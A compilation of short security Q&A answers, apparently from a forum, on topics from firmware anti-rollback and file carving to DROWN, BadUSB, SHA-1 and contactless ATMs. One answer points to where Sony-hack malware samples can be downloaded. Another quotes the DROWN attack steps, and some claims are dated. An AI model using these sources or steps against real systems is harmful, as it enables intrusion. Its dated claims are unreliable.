You'll have to memorize two crazy passwords. Write them and put them in your wallet until you do remember them.

Alternate approach is the xkcd: Password Strength method of using a few words together. I personally find this easier to remember, but more difficult to type than a 10-character random password.

(*) Having all three of those three things true makes it "very unlikely" that someone will get your data; however, a motivated, and well resourced adversary, can eventually guess every single possible password you could have uses and decrypt the contents of the hard disk. That said, you have plenty of time to rotate your passwords.


What is the purpose of anti-rollback protection in IoT devices?

It is to prevent the exploitation of old vulnerabilities which have been fixed in newer versions.
Assume that there is a web interface which allows installation of new firmware versions and some configuration.
There also is a vulnerability that allows root access to the device and full control in V1.
As responsible vendor, of course you produce V2 very fast and automatically update all devices OTA.
But if Mallory is in the internal network at your customer, he could just use the webinterface of the device to downgrade to V1, gain root access and then update back to V2.


Speaking Plain HTTP over an SSL enabled Server port

http://myapp.example.de:443/context/sublink

This is incorrect and shouldn't work in any browser. You are explicitly telling the browser that it should use plaintext http protocol on port 443. If your server is serving SSL on that port, the connection should fail (as it correctly does in Firefox).


Carve out all scattered pieces of a file from data

Your questions are somewhat disjoint, so let me take them in pieces.

  If a file is scattered in pieces on a hard drive how is it possible
  to find all parts of it?

A fragmented file contains pointers or links to each piece or extent of the file. Exactly how those links are structured varies with the file system, but all file systems use them.

  Forensically in a file carving situation where one do not have access
  to a running OS.

First of all, it's not a question of a "running OS". Whatever software tools you are using is running under your analysis OS, which is unrelated to whatever OS might exist or existed on the disk drive being analyzed. For example you may be running Linux and examining a disk drive taken from a Windows machine.

"Carving" has nothing to do with an OS. Carving comes into play when you are trying to recover "deleted" files.

If the "File System" is intact (such as NTFS or Fat, etc.) then deleted file recovery can vary greatly by file system. If the link Pointers are still present, although deallocated, the fragmented file segments may still be located from the pointers.

If the Link Pointers are gone or the File System is not usable, "carving" comes into play. Note that most carvers require a working file system, only a few can carve raw data without a known File System.

File carvers look for known headers to indicate the beginning of a file. Generally they just grab sequential data blocks until they hit a matching footer, or an allocated block.

Most carvers will not recover fragmented files from raw data. There are a few that do a pretty good job of finding matching Header/Footer contiguous fragments. There are fewer still that will attempt to find lost middle fragments for well structured content like JPGs, but these are mostly experimental and unreliable.


It is not possible to answer your question without more information.  "Challenge-response" is a general technique.  There are many protocols that happen to incorporate some sort of challenge-response mechanism for one purpose or another.  Some of those protocols are vulnerable to man-in-the-middle attacks; some are not.
Generally speaking, if challenge-response authentication is the only mechanism used for authentication, then the protocol is likely to be vulnerable to man-in-the-middle attacks.  For instance, one attack against simple challenge-response systems is to wait for the two legitimate endpoints to finish the challenge-response part of the protocol, and only after that is done, start tampering with the traffic.
Generally speaking, to ensure security against a man-in-the-middle, you need some protocol that will provide a secure channel.  For most purposes, I'd recommend simply using SSL/TLS.  It is well-studied and can provide strong resistance to man-in-the-middle attacks, if used properly.
Update (11/15): It now appears that you were asking specifically about the paper you linked to, by Yang et al.  Here is my analysis:

I would not recommend using the scheme proposed in that paper.  I have serious doubts about its security.

The paper does not provide a convincing security analysis.  The accepted standards in the field today call for a proof of security of any proposed new cryptographic protocol, or at least a very thorough analysis of security against known attacks.  The paper offers neither.  Put another way, the burden of proof is on the paper to provide convincing evidence that its proposal is secure.  The paper does not, I think, meet that burden.

@Thomas Pornin points out that the protocol in that paper will be weak for most parameter choices, or completely insecure for some parameter choices.  Thomas explains it well: "If the hash function F has an output larger than p or of the same size, then any eavesdropped exchange provides an oracle for an offline dictionary attack which can rule out half of possible passwords. If the value g generates a subgroup smaller than (p-1)/2, then an eavesdropped exchange provides a much better oracle for offline attacks. In short, they mimic EKE but do it badly. Do not use this protocol."

The paper attempts to "re-invent the wheel".  There are solutions in the literature for exactly the problem that the paper poses; they are called password-authenticated key exchange (PAKE) protocols.  The paper doesn't seem to be aware of the full extent of prior work on PAKE that had been done before the time of its publication.
There are several PAKE protocols that have been well vetted: if you want to follow the approach outlined in the paper, I propose that you use a well-known PAKE protocol, not the ad-hoc scheme presented in the paper.

Also, the proposed scheme may have an elementary security weakness, depending upon how it is integrated into SIP.  The paper doesn't describe what happens after the protocol is completed and each party has authenticated the other.  If at this point the connection continues in cleartext, then there is a straightforward man-in-the-middle attack: the attacker simply waits until after the authentication protocol has completed successfully (without tampering with the challenge-response steps), then tampers with messages sent after both sides have successfully authenticated each other.  The paper doesn't make clear whether or how this attack is prevented.


Problems with undefined password requirements

The problem is the programming complexity. Testing for the presence of mixed case, numbers, and punctuation is extraordinarily simple.

Testing password strength in the real, practical sense is surprisingly difficult. What you really care about is whether or not that password will get cracked, not how many special characters it contains. The password apwyfzsdjn is dramatically more secure than Baseb4all!, even though most password testers will prefer the latter.

The project zxcvbn is a Javascript-based password tester that attempts to do reasonable password strength analysis based on complexity and (more importantly) dictionary lookup, and certainly does a better job than the "must contain punctuation" sort of testers.

But it's a hard problem to solve.


Windows: Who is this randomname person that authored *my* LibreOffice document?

Someone downloaded a word document and they might have used it as a template for their report. The author you are seeing would then be first author of the word document.


Does it make sense to perform vulnerability assessment tests with admin user rights?

I am assuming that you have only 1 level or privilege eg: Admin, and none else can login and mess up with the system right ? So if the tester is not logged in as Admin he cannot simulate an real attack, because we all know this kind of security (username,pass & 2FA) can be compromised and if the attacker gets Admin privilege nobody knows how far he can get into the system. Basically what the tester is trying to do is even if someone gets those Admin privileges that he cannot get too far in the system for example upload an shell and take control over the whole server and get an root privilege for example and delete everything. If the tester does not have the Admin privilege I am positive he can only check for sensitive folders/files some common attack XSS,LFI,RFI,SQLi, outdated services and much more.


What is the proper way to sign up a user with a REST API?

It looks like you are trying to reinvent the wheel.

If you have a web-service that must be protected, you can take a look at OASIS Web Services Security specification.
This specification cover web services authentication at Message level. All the authentication is done through the values in the messages exchanged.

Also, you can configure additional layers by securing the channel, for example using HTTPS, so MIM is mitigated on the messages exchanged.

The JWT option is valid, but you should be generating the token in the server. Most likely, the user should authenticate first (with user/password, for example) to get a token.
The token should be signed by your server's certificate and every time you receive a token, you should validate that the token was signed by your server's certificate.


Remote Access Trojan (RAT) -- How to detect, how to remove

There are no 100% guarantees.
Proving a negative is basically impossible. It's like saying "How can I prove that nobody owns a key to my apartment?" - you simply can't.
However, you can detect certain remote access kits through a variety of techniques. Keep in mind that these techniques require some level of expertise. People often say "Look at your network traffic", and then they go buy a tap, have a look in Wireshark and see lots of network traffic to various domains and IP addresses they cannot explain and then end up believing they must have been compromised. I personally label this the "Wireshark Syndrome". However, the underlying idea is correct - look for suspicious traffic and investigate further. This requires you to be able to tell suspicious traffic apart from benign traffic, which is very difficult.
Another possibility is to use a ready-made tool for RAT detection. These tools look for traces of know RATs and give you a warning should it find some. The upside of these is that they are a lot more user-friendly, but with the downside that they also cannot 100% detect every RAT out there. "I couldn't find anything" does not mean "There is nothing", after all.

How can it be removed from my PC?

The question Help! My home PC has been infected by a virus! What do I do now? goes into detail on how to deal with a compromised home machine.
tl;dr: Nuke it from orbit!

How can I make sure my PC is safe?

As mentioned above, you can't. What you can is follow best practices, that are repeated over and over again by security experts:

Keep your system up-to-date
Don't install software from untrustworthy sources
Use a password manager
Make backups on an external device
Don't click on links in phishing emails and don't answer them.

Of course, this list isn't exhaustive, but if you follow these guidelines, you will likely not be "low-hanging fruit", and that already gets you out of a lot of trouble.


How does the Certificate Authority ensure that the CSR came from the right server?

Short answer: it's in the CSR.

Longer answer:

When you generate a CSR from a key pair, you provide the CA with information as to what properties the certificate should have (for what domain(s)/names, etc.).

There are different ways how CAs can verify that the CSR does in fact come from the legitimate owner of the domain(s) the CSR is for. Different CAs use different methods and for regular (non-OV/non-EV) certicifates this usually boils down to show that you have control over the domain(s) by for example

sending an email to a usually reserved email address such as hostmaster@domain with a short lived secret that has to be provided back to the CA,
requesting that the user generates a specific challenge entry in DNS,
requesting a specific challenge file from a well known directory from port 80 of the domain(s) in question.

There are however problems that arise from this sort of testing, as it is not completely conclusive: When an attacker is a MitM for the CA, this can go horribly wrong. Yet, CAs usually double check such things using different ISPs.


TL;DR: ChromeOS is vulnerable to BadUSB, but this is probably not a big security concern.

BadUSB works by installing malicious code in a USB device controller. This can allow one type of device to impersonate another. For example, a thumb drive may impersonate a keyboard; one that starts typing commands right when it is plugged in. While operating systems have moved away from autorun functionality to prevent an attack from happening the moment you plug in a drive, OSs still allow a keyboard to begin typing without any security prompts. So any OS that allows a keyboard (or mouse or potentially other USB devices) to immediately start interacting with the computer is potentially vulnerable to BadUSB. Unless I'm mistaken, this is true for Chrome OS.

That said, I doubt that this should be your biggest security concern. BadUSB is difficult to execute. It involves finding a hackable USB device (it seems this isn't difficult as USB microcontrollers aren't well protected), creating software appropriate to the device type and the attack you are planning, hacking the device (either physically or by flashing the microcontroller), engineering the process of getting the device used on the target computer, and then being able to perform the attack without being noticed. Note that this last part is non-trivial as this is not some backdoor, over-the-net type attack. This is a USB device that unexpectedly starts typing characters, albeit very quickly, while you are looking at your computer.


Forwarding traffic to SSLSplit from Android

I've had good success with the following Android proxifiers:

ProxyDroid
Postern

ProxyDroid has one draw-back; your phone must be rooted. To the best of my knowledge Postern will work on an un-rooted phone.


Is a Cloud-Connected Door Lock More Secure Than a Traditional Lock and Key?

I'd argue that they are fundamentally no more secure than a traditional lock. These types of locks can also be opened by a standard physical key, so they by definition are susceptible to all of the weaknesses of a traditional lock plus any weaknesses introduced by the electronic layer.

Whether or not these additional weaknesses are significant is an open question, and will depend on the specific manufacturer and model. With that said, it's my strong suspicion that the traditional lock manufacturers who have begun building these digital models likely lack the software engineering experience and deep cryptographic understanding necessary to design and implement such a complicated product in a way that would withstand a skilled and determined adversary.

While @raz is correct that a door is only as secure as its frame, an important feature of a lock is to ensure that a break-in leaves physical evidence. Someone entering a locked room is not necessarily a thief just looking to ransack the place for loot. My biggest concern with internet-connected locks is that a software flaw would plausibly allow attackers to silently bypass locks of their choosing, leaving no physical evidence.

That said, if I had the option I would consider putting one on my home. The threat model there is, generally, a thief looking to ransack my home for expensive physical goods, and any additional vulnerabilities introduced by the internet layer are unlikely to be exploited by this type of attacker over simply using a crowbar on the door or breaking a window. The added convenience may be worth the risk. On the other hand, I would likely not choose to install such a lock on the door to a rack of servers, the door to an office suite, or to a safe containing valuable documents.


Where can I download the Sony hack malware (for analysis)?

I looked for the malware and found it, here is the link but you have to go on the forum and download it:

http://malwaretips.com/threads/2014-12-11-destover-malware-7-samples.38799/

Go to the above link and you will see the zip file and the password for it.


Anonymous surveys that aren't so anonymous

If the site is based on ASPX files, then it is more than likely that this is a ASP.NET application - most probably hosted on IIS.

IIS has a very simple checkbox to enable Windows Integrated Authentication.

IE, on Windows 7, will by default send your credentials to any web server in the local intranet. (This is not your password, don't worry, but it is Windows based authentication - either Kerberos or NTLM).

This is very straightforward to associate your Windows Domain account with your survey answers...


Security risks of running a php application on PHP 5.4

Rule one: cover your ass: make sure you've got an offsite record of you reporting a security risk to your CTO and their response.

Beyond that, if their is a risk that the upgrade will break authentication, then the first step is to characterize that risk. I am aware of changes in the blowfish implementation of crypt in 5.3.7 - but those are backwardly compatible and you're currently on 5.4

The most important thing you can to do to ensure the Security of your applications is to keep your patches up to date. In 2015 and 2016 US-CERT advised that 85% of compromises were preventable (by applying patches). The Equifax compromise of 2017 was a result of unpatched software on a web facing application. You don't have to look far to find more examples.

Listing the current vulnerabilities in your stack does not really help with the problem - you should have processes in place to keep your software up to date. You don't need to enumerate the currently known vulnerabilities.

It is reasonable to make a decision not to patch if the organization can prove that the resulting losses would be significantly less than the cost of updating. But has that analysis actually been done?

While you could choose to go around your CTO to the owner/stakeholder, unless this a publicly listed company, they are unlikely to understand your concerns or favour your version of events over that of the CTO. Any competent organization should maintain a risk register - you should document your understanding of the current situation, the danger of being in a situation where you cannot easily upgrade and request that this is added to the corporate risk register.


API key safety in front end app running in localhost

When running the app locally, you probably(there might be org policies beyond your control) have the power to create a safe environment to run the app.
So, you need to look at this from two main areas of concern:

Do you trust the browser and its extensions/apps that your app is running in? If no, then this is no different than the risks of running this app on another user's machine. If yes, then you should be fine.

Do you trust the machine that the app is running in? I hope the answer is yes because well, your source code is also on the same machine.


If you can read it without the password either it is not encrypted or the encryption is key is not tied to the password. I had seen such a thing in an Android app. User data was encrypted and stored in the DB. When activity B is opened data was decrypted and displayed to the user. To be able open activity B you had to enter a password on activity A. If the password is correct activity A starts activity B. But when a root user force opens the activity B data is still decrypted and displayed to the user. We don't have enough info to answer your question but it could be something like this.


Like the first comment said, i find it very doubtful you can't find anything.

A complete description of the implementation can be found here:
https://drownattack.com/drown-attack-original-report.pdf

I think what you mean is; "Can you point me to a public PoC i can copy."

No.

This attack is highly dangerous. And while it is an awesome school project, it can be used to defraud banks and steal highly sensitive information so it makes sense to restrict the tools to do that.

If you want to construct the attack yourself, look into the Bleichenbacher padding oracle side-channel attack.

Here you can find an implementation of this.

Furthermore the whitepaper mentions this to increase the likelyhood of finding a valid padding:

  Efficient padding oracle attacks on cryptographic hardware. In
  Advances in Cryptology–CRYPTO
  2012. Springer, 2012, pp. 608–625.

Then, to use an SSLv2 server as an oracle to show the validity of the padding:

  This allows an attacker to deduce the validity of RSA
  ciphertexts in the following manner:
  1.
  The   attacker   sends   a
  ClientMasterKey
  mes-
  sage,  which  contains  an  RSA  ciphertext
  c
  0
  and
  any  sequence  of  11  bytes  as  the  clear  portion
  of   the
  master_key
  ,
  mk
  clear
  .
  The   server   re-
  sponds  with  a
  ServerVerify
  message,   which
  contains   the
  challenge
  encrypted   using   the
  server_write_key
  .
  2.
  The  attacker  performs  an
  exhaustive  search
  over
  the   possible   values   of   the   5   bytes   of   the
  master_key
  mk
  secret
  .
  He  then  computes  the
  corresponding
  server_write_key
  and   checks
  whether the
  ServerVerify
  message decrypts to the
  challenge
  .  One value should pass this check; let
  this value be termed
  mk
  0
  .  Recall that if the RSA
  plaintext was valid,
  mk
  0
  is the unpadded data in the
  RSA plaintext. Otherwise,
  mk
  0
  is a randomly gener-
  ated sequence of 5 bytes.
  3.
  The  attacker  re-connects  to  the  server  with  the
  same  RSA  ciphertext
  c
  0
  .
  The  server  responds
  with another
  ServerVerify
  message that contains
  the current
  challenge
  encrypted using the current
  server_write_key
  . If the decrypted RSA cipher-
  text was valid, the attacker can directly decrypt a
  correct
  challenge
  value from the
  ServerVerify
  message by using the
  master_key
  mk
  0
  . Otherwise,
  if the
  ServerVerify
  message does not correctly
  decrypt to the
  challenge
  , the RSA ciphertext was
  invalid, and the attacker knows the
  mk
  0
  value was
  generated at random.


Secure application data transmission via SMS channel

The TextSecure Messenger (now called Signal) provided encrypted sms based on a public key encryption scheme. However, they dropped the feature a year ago. According to the blogpost, the reasons for dropping the support were the impossibility to do this properly with iPhones and the bad security of SMS in general.

This is of course only one example - but it shows one possible approach to encrypt the content and protect the integrity of SMS messages.

I can't help you with the details of the cryptography involved - but maybe it's worth looking into the documentation and the sourcecode of Textsecure / Signal / Silence (Textsecure fork).


How was the Xbox One password verification compromised?

The consensus seems to be that the Xbone trims terminal whitespace from entered passwords.
When the kid enters a password of just spaces, trimming whitespace results in a blank password.

So, the kid has both entered a blank password and entered a non-blank password. The empty password error handling routine chokes on this strange state of affairs and hijinks ensue.


Do backups with application-level authentication defeat ransomware?

The answer to this question depends entirely on how smart the ransomware you want to defend against is. If you're dealing with standard ransomware, the answer is most likely yes, your backups are safe.

If you're dealing with ransomware which is aware of your application and targets it specifically, then obviously no, your backups are still at risk.

Note that in the first case, while the ransomware can't reach the backup server disk directly, it can still encrypt the local files and if your backup application doesn't stop backing them up, sooner or later backup rotation will rotate all valid backups out of existence.

May I suggest a different approach:

Keep several backup revisions. After you made a backup, sample a nontrivial number of important files to see if they pass various statistics for random data (eg even distribution of bytes, no known file type, almost 0 compression rate etc) . If most or all of your files look like random data, they are probably encrypted and you can disable the backup and alert the sysadmins, so while you've lost the most recent backup, all your earlier revisions are still available.

You could also do the tests on the live system before starting the backup, but I'd check the backup itself even if it meant losing one.

This will protect against ALL ransomware.


Securing a web service consumed by chrome extension

It's not possible to prevent a user from spoofing requests. Your framework should be such that spoofed requests sent by a user should not matter. For example, I can spoof  comment POST requests all I want to Facebook, and I'll just get a bunch of comments. There are no only client-side restrictions preventing me from doing something I'm not supposed to do. I can't post to a closed group by modifying the group ID in a POST request. The server will just block the request. If you don't want your users to be able to do something, block it on the server side.

However, what you can do is use a good user authentication system to prevent a user from spoofing another user's request. Either connect to OpenID, or use a persistent session cookie(to avoid asking the user to authenticate every time) and your own authentication. THis will prevent a user from spoofing another user's request.


OpenSource API Security Testing Automation?

Try OWASP ZAP API Scan. There's a lot of information about this tool and it's integration with CI/CD pipelines. You can provide OpenAPI definitions to scanner, solve authentication issues using tokens and collect results in json format.

This is the url of the official project: https://github.com/zaproxy/zaproxy/wiki/ZAP-API-Scan


There is an emerging market for secure virtual browsers, which are able to solve this problem by providing a client that connects securely to a browser running remotely in a secure container. Some of the companies in this market are:

Authentic8
Menlo Security
Spikes Security
Ntrepid

Some of these solutions are enterprise focused or require hardware. I prefer Authentic8; but, I'm biased.


Chip-and-PIN PIN sentry, what it actualy does when signing?

There's a sub-specification to EMV known as the Chip Authentication Program (for MasterCard) or Dynamic Passcode Authentication (for Visa).

I'd never run into this before, but according to Wikipedia, your "one unit of currency" guess is pretty close.  The device starts by generating a cancellation message for a (fake) $0 transaction, then uses a mask stored on the card (Issuer Authentication Indicator) to select certain bits from the ARQC response, which get turned into the number displayed.

As for brute forcing the code, that's on the bank: Since the device is only used when interacting with your bank, the bank is immediately aware of any incorrect code attempts and can lock your account if it detects too many.  Similarly, the device uses the card's standard PIN counter, so if you get your PIN wrong too many times the card will lock itself until it can do an online transaction.


Attack vectors that go through previously compromised accounts

First you should make sure that there are no apps associated with your account which still might have access - see Secure Your Online Accounts By Removing Third-Party App Access. Then you should make sure that the attacker gets not access to your account again.

This means that you should check that the attacker has not left some kind of backdoor into your account: check any recovery email addresses, phone numbers etc to make sure that these are only addresses and phone you and only you have access to. And if the account provides recovery using secret questions make sure that these are the ones you and only you have the correct answers for.

Apart from that figure out how the attacker get access to the account in the first place and make sure that this and similar ways don't work anymore. Such path might for example have been weak passwords or reused passwords, access to a device or email you've setup for recovery or easy to guess answers to the recovery questions.

Also, for additional protection setup 2FA on the account.


Should I check if the token is valid each time a user navigates on my app?

This depends.

If you need the token for authentication and unauthenticated users are not allowed to access anything, you should check its validity for every request.

If you only check the token when you need a part of the information from it - and are fine with anonymous access to all other sites, you don’t need to check it on every request.

Please note that it‘s easy to forget to check the token when you need no information from it yet want to restrict access for logged in users, thus checking the token all the time seems like a good idea, especially since you seem to imply that every request should have a token.


Is it possible re-key OpenVPN on the fly

Not with a PSK. But what you ask for is something OpenVPN provides with it's TLS mode.  That will periodically negotiate new keys for you automatically.

If you do want the networking to be peer-to-peer, like in PSK mode, you can use configs similar to those in the loopback-server and loopback-client configs in the OpenVPN config files.

Something like this should work:

Peer 1;

remote peer.2.ip.address
local peer.1.ip.address
dev tun
verb 3
tls-server
dh dh2048.pem
ca ca.crt
key server.key
cert server.crt
tls-auth ta.key 0

Peer 2:

remote peer.1.ip.address
local peer.2.ip.address
dev tun
verb 3
tls-client
remote-cert-tls server
ca ca.crt
key client.key
cert client.crt
tls-auth ta.key 1

You can use a tool like easyrsa to generate the ca and certificates.


Find seed used in Math.random LCG given a list of outputs

I can suggest trying to put all of the known data and formulas through something like Microsoft Z3 or other SMT solver. However I can’t predict how long the search would take.


Using a virtual machine as a buffer between USB media and OS

I think this security solution could work if implemented properly.

Clearly the host OS could override the guest at any point, but in this case they are working together. The general case is that the auto-mount daemon needs to work with the guest OS to check the device.   Each window manager will have their own way of auto-mounting devices.  Its possible to disable this feature,  and replace it with an auto-mount daemon that you can hook. In this hook you want to perform an action prior to mounting the device.  (I think Halevt might be the best choice,  but you should look at the other auto-mount daemons listed)


What is the risk of using SHA1 in PGP email signatures?

There are no practical attacks on SHA-1 yet. Experts estimate that SHA-1 attacks will start to appear around 2018.

As you have correctly pointed out, companies like Google and Microsoft have already taken action and are replacing SHA-1 with newer and safer standards:

  Microsoft is recommending that customers and CA’s stop using SHA-1 for cryptographic applications, including use in SSL/TLS and code signing. Microsoft Security Advisory 2880823 has been released along with the policy announcement that Microsoft will stop recognizing the validity of SHA-1 based certificates after 2016.

The recommendation is to move to SHA-2. So you'll have to reconfigure your PGP software to use another hash function, but the basic working principle of PGP will remain the same.


What is the most cost effective way to comply with PCI requirement 6.5, developer training?

Security behaves just like any other quality property:

If your software is unreliable and causes damage to your client, you may be sued for compensation of damages, and/or get bad press coverage. The exact same is true for security issues.

Just like other quality properties, using a huge amount of money for one time events, is not likely to have a lasting effect. Ensuring quality in the long run requires structures that support it.

To be more concrete: A one time 3 day general security training for all developers may be quite expensive, but is probably not an effective way to spend the money.

A long term approach may be this: Appoint a small number of security experts and educate them (for example by letting them visit courses, get external consultation, ...). This group will

identify the security aspects that are important for their fellow developers (e. g. a web application developer using Java should focus on OWASP instead of buffer overflows)
support the architecture development group to minimize the potential for security related mistakes
teach the fellow developers about security aspects based on the concrete architecture at use in their company
do code reviews
encourage discussions about security aspects.

Let me give an example: A company develops a web application using the component based Java Server Faces framework. In JSF, the userinterface components generate HTML and JavaScript code. So component developers need to be aware of XSS and escape all input.

Developers of business functions use these userinterface components. They don't need to write HTML code, so they don't need to escape input (and cannot because escaping is the task of the components). But business function developers need to understand how to use the components securely (e. g. don't generate HTML code themselves circumventing the components).


It's unlikely that this is coming from avast secure DNS.  More likely, you're running an open DNS resolver and an attacker with a botnet is trying to DDoS Avast SecureDNS by using open resolvers to direct traffic to Avast.


Are GNU coreutils SHA digest functions FIPS-validated (in NIST's Cryptographic Module Validation Program)?

I can't find a validation program like NIST CMVP for FIPS-180.

You did, actually. CMVP covers compliance for all cryptographic mechanisms approved by NIST, including the hashes defined by FIPS 180. FIPS 180 is the definition of some hash algorithms. FIPS 140 is the standard that defines what it means to be compliant. All “FIPS compliance” is compliance to FIPS 140.

I did see on some CMVP certifications that a Secure Hash Standard (FIPS-180) certificate was also listed, so I had hoped to find GNU holding a certification for their implementation in NIST's CMVP database, but I couldn't find one.

You looked in the right place. You couldn't find one because there isn't one.
FIPS 140 validation is expensive. You don't just do it on a whim: you do it because you have a clear business requirement. Furthermore, you can only validate one specific version of a program, so it's bad for maintenance (no bug fixing, no new features, no porting to a different environment, …) and it's bad for security (no bug fixing). So it's no surprise that very few programs are FIPS certified.

If not, I'd love suggestions for where to look for an alternative provider. I did find that Red Hat holds a certification for an OpenSSL implementation, which also lists SHA-3 and SHS certificates, Cert #3781, but that's for RHEL8 and we're on RHEL7.

Several vendors have certified a version of OpenSSL, including RHEL 7, which does cover the NIST hash algorithms. So you could use that.

Barring alternatives, is there a way to prove GNU coreutils's SHA-2 implementations are "sufficiently secure"? I feel that question is asking for trouble and a whole lot of math proofs...

FIPS 140 certification has nothing to do with security. In fact, it's detrimental to security, since it forbids applying security updates. If you want FIPS certification, use the certified version of OpenSSL. If you want security, use an up-to-date system.
If you care about security, the software that calculates hashes is the least of your worry: of all cryptographic primitives, they're the hardest to mess up. What you use the hashes for is more important and can be susceptible to subtle pitfalls.


iOS traffic not shown in proxy when SSL pinning enabled

This sounds like your instance of Burp may have auto pass-through enabled: https://portswigger.net/blog/ssl-pass-through-in-burp

Check your pass-through settings.


How are stateless firewalls useful in public cloud platforms?

Stateful firewalls are generally pointless in front of public-facing servers, as you are accepting all incoming connections from every address on whatever port. This can be accomplished with a stateless packet filter.

Stateful firewalls are also generally the first component to fall over during a DDoS attack, even before the servers or network links run out of resources.

Finally, stateful firewalls require nasty and brittle “state synchronization” and clustering mechanisms to be highly available. These generally don’t work correctly when needed, and are seldom tested correctly by stateful firewall customers.

In short: cloud providers provide the tools to run high volume public facing Internet services. Stateless packet filters are a critical piece of that puzzle, as stateful firewalls are only useful in low-volume scenarios without multiple network paths.

Evidence: Microsoft, Google, Amazon, Cloudflare etc. do not use stateful firewalls in front of their own public-facing high volume web services. They use router ACLs which are implemented in silicon.


How can a Mac OS X user protect themselves from shell-shock AND remain connected to the internet right now

Business users can mitigate their risk using their perimeter IPS protection (or palo alto nextgen firewalls) for CVE-2014-6271 but need to wait for released protection on the related CVE-2014-7219 over the next 24 hours.

Source (in my case palo alto):  https://securityadvisories.paloaltonetworks.com/


Can I safely sell a used keyboard without risk of new owner recovering previous inputs?

Can this be somehow reprogrammed to store other data than just LEDs color combo?

Yes. Anything that have writable memory and a processor can be programmed. Will it be reprogrammed? I seriously doubt.

  Can I sell my keyboard without worrying that new owner might recover previous input in some way?

You can sell it, no worries. You haven't exported the firmware, reverse-engineered it, reprogrammed it and changed it to record everything, so there's no previous input saved anywhere.


Should I use a thumbdrive I got on a conference in China?

This is primarily an opinion based question so there's a good chance it'll be locked - but I'll give my two cents ahead of whatever that verdict ends up being.

The general rule of thumb is: if you are suspicious - don't use it; and if that's why you're not using it, don't just give it to someone else for them to use. My recommendation would be to see if there is somewhere near you that recycles electronics, or if you happen to know any security minded person that wants to take a look at it for fun you could give it to them and be up front about its origins.

Formatting the drive from a controlled machine will get rid of a most of your run-of-the-mill malware - but for USB devices specifically, the main issues arise from the firmware. Your computer doesn't communicate directly with the flash memory on the stick - it communicates with the controller first. If it's a cheap device, chances are it likely has cheap/malformed protocols handling things under the hood - and then of course the worst case scenario is that they've been maliciously configured. It's fascinating what can go wrong with USB (any USB, not just the flash drives) so I highly recommend doing some googling just to see - if you're interested.

As an example: you can get all kinds of different firmware on a USB stick - say, you plug it in and part of it has been designed to behave like a keyboard, which your computer will recognize as a keyboard and automatically install - only, this false-keyboard also has keybinds it has been programmed to run, which - given the amount of keyboard shortcuts and available commands, and depending on the level of access the user of the keyboard has - can do just about anything.

Treat your device's physical security just as you would when configuring a firewall - deny everything that you are not explicitly OK with.


If you cannot disable SNMP protocol can you at least rename the community string and give it a strong password? If so that should suffice.
Regarding the OpenSSL vulnerability that would have to be resolved by the vendor with a firmware update. See if one is available.


First, a note on terminology. Usually:

RFID is communication between a passive tag (no power source, acts as a simple memory, without any communication) and a reader. Communication is one-way: the RFID tag has no way to receive information.
A contactless smartcard has a credit card form factor and can perform computation (it has a CPU, and its memory is accessed by that CPU, not by the external reader like in the case of an RFID tag). It does not have a power source: the CPU can only work while it is powered by a contactless reader through induction.
NFC is bidirectional communication using the same principles as RFID. NFC can work between two powered devices (e.g. a smartphone and a reader in another form factor, or two smartphones) or between a powered device (smartphone, reader) and an unpowered device (a tag (which is only a memory) or a contactless smartcard (which has a CPU)).

This terminology is not always used consistently: NFC tags are sometimes called RFID, for example. There are rewritable tags, which don't contain a CPU but which the reader can overwrite; these are sometimes called RFID tags, sometimes NFC tags.

An ATM card is a contactless smartcard, not an RFID tag nor an NFC device. A contactless smartcard is able to provide security because it contains a memory that cannot be read externally.

Now onto your question. It is certainly possible to perform a transaction with a contactless smartcard using the workflow you describe: first the card identifies itself, then the ATM queries the user for the transaction to perform and possibly validates it against a server, and at the end the ATM performs the transaction if the card is willing.

I don't know if there are ATMs that operate like that, but there are other types of machines that do. For example, to recharge a Paris transport pass, you put your card onto a reader tray (the round purple thing below the screen in the picture below), where it's kept in place, but you can take it off at any time, and the card can be in a wallet or other holder. Normally the card stays on the tray for the duration of the session; I think it does follow the two-phase system outlined above (first read the card information, then interact with the user, then upload the outcome of the transaction to the card).

I remember seeing other transport pass machines where the interaction is closer to what your envision, with an initial swipe and a final swipe. The tray method allows longer interactions, which may be required when the card has to perform costly actions such as a signature, as well as continuous interactions, for example to validate a PIN or some transaction details.

Compared with the contact method, there is a practical usability advantage to the contactless method: the card doesn't have to be a card form factor, you can keep it inside a holder or in your wallet or handbag. In fact, the card doesn't have to be a card at all: the reader can also interact with an NFC-able phone that's emulating a card. I don't think double swipe has a usability advantage compared to a tray, but it may allow the machine to be smaller.

US ATMs operating off the magnetic stripe treat the credit/debit card as a simple memory: you insert the card once at the beginning of the transaction, and that's it. If an ATM is designed to follow the same procedure then a single, initial swipe would be sufficient. However smart cards allow more security than a simple memory since they can do things like generate one-time tokens (e.g. a signature for a given transaction) or validate a PIN and self-destruct after 3 attempts. This requires the card to be available at more times during the transaction.

European ATMs (designed for chip cards) swallow the card and release it at the end of the session. There are security benefits to this. This allows the card to remain swallowed if the user mistypes their PIN three times or if the card has been reported stolen. This also allows the ATM to verify the card form factor, which is the antithesis of contactless; the advantage of insisting on the form factor is that this makes it harder to fool the ATM into believing that the card is present. Relay shims that can be inserted into an ATM do exist but they took a few years to design. Thieves have an advantage if they don't need to bring the actual card to the ATM and can instead use a communication relay: they can use the card very quickly before it's reported stolen (maybe even without the owner noticing); and they can make themselves harder to trace and prosecute since the card thief may be in a different country from the ATM.

The upshot is that contactless ATM transactions are possible. The security afforded is intermediate between what you can achieve with a magnetic stripe and what contact chip card ATMs do. I don't know if there are contactless ATMs yet; the technology is pretty new, on a time scale for banking technology.


How would I find an IP address range of a website or domain?

You could find the IP addresses currently used by a domain by doing a DNS lookup. For example with dig A www.example.com gives you all IPv4 addresses the DNS server returns for this domain and dig AAAA www.example.com the IPv6 addresses. But you need to be aware that getting the IP address this way and then configure blocking based on this has serious problems because:

The mapping is specific for only a specific hostname, i.e. www1.example.com and www2.example.com and example.com might all return different results.
The mapping between name and IP address might be changed any time. Sometimes this list depends on the location you ask from (i.e. geo-specific DNS), sometimes on the load on the servers and especially malware delivering sites will often change the IP address once an address they used is added to a blacklist.
There might be several domains sharing the same IP address so blocking by IP address will block access to these as an unwanted side effect domains too (overblocking).

Thus a better way would have such block at the DNS level or at the HTTP level with a URL filter. But this (more advanced) functionality might not be available in the firewall you use.


RFC 6455: Form fields with starting |Sec-| mean?

As mentioned in comments section, quoted part from RFC 6455 standard under Security Model section discuss about possible code injection attacks and it's usage WebSockets as a attack vector.

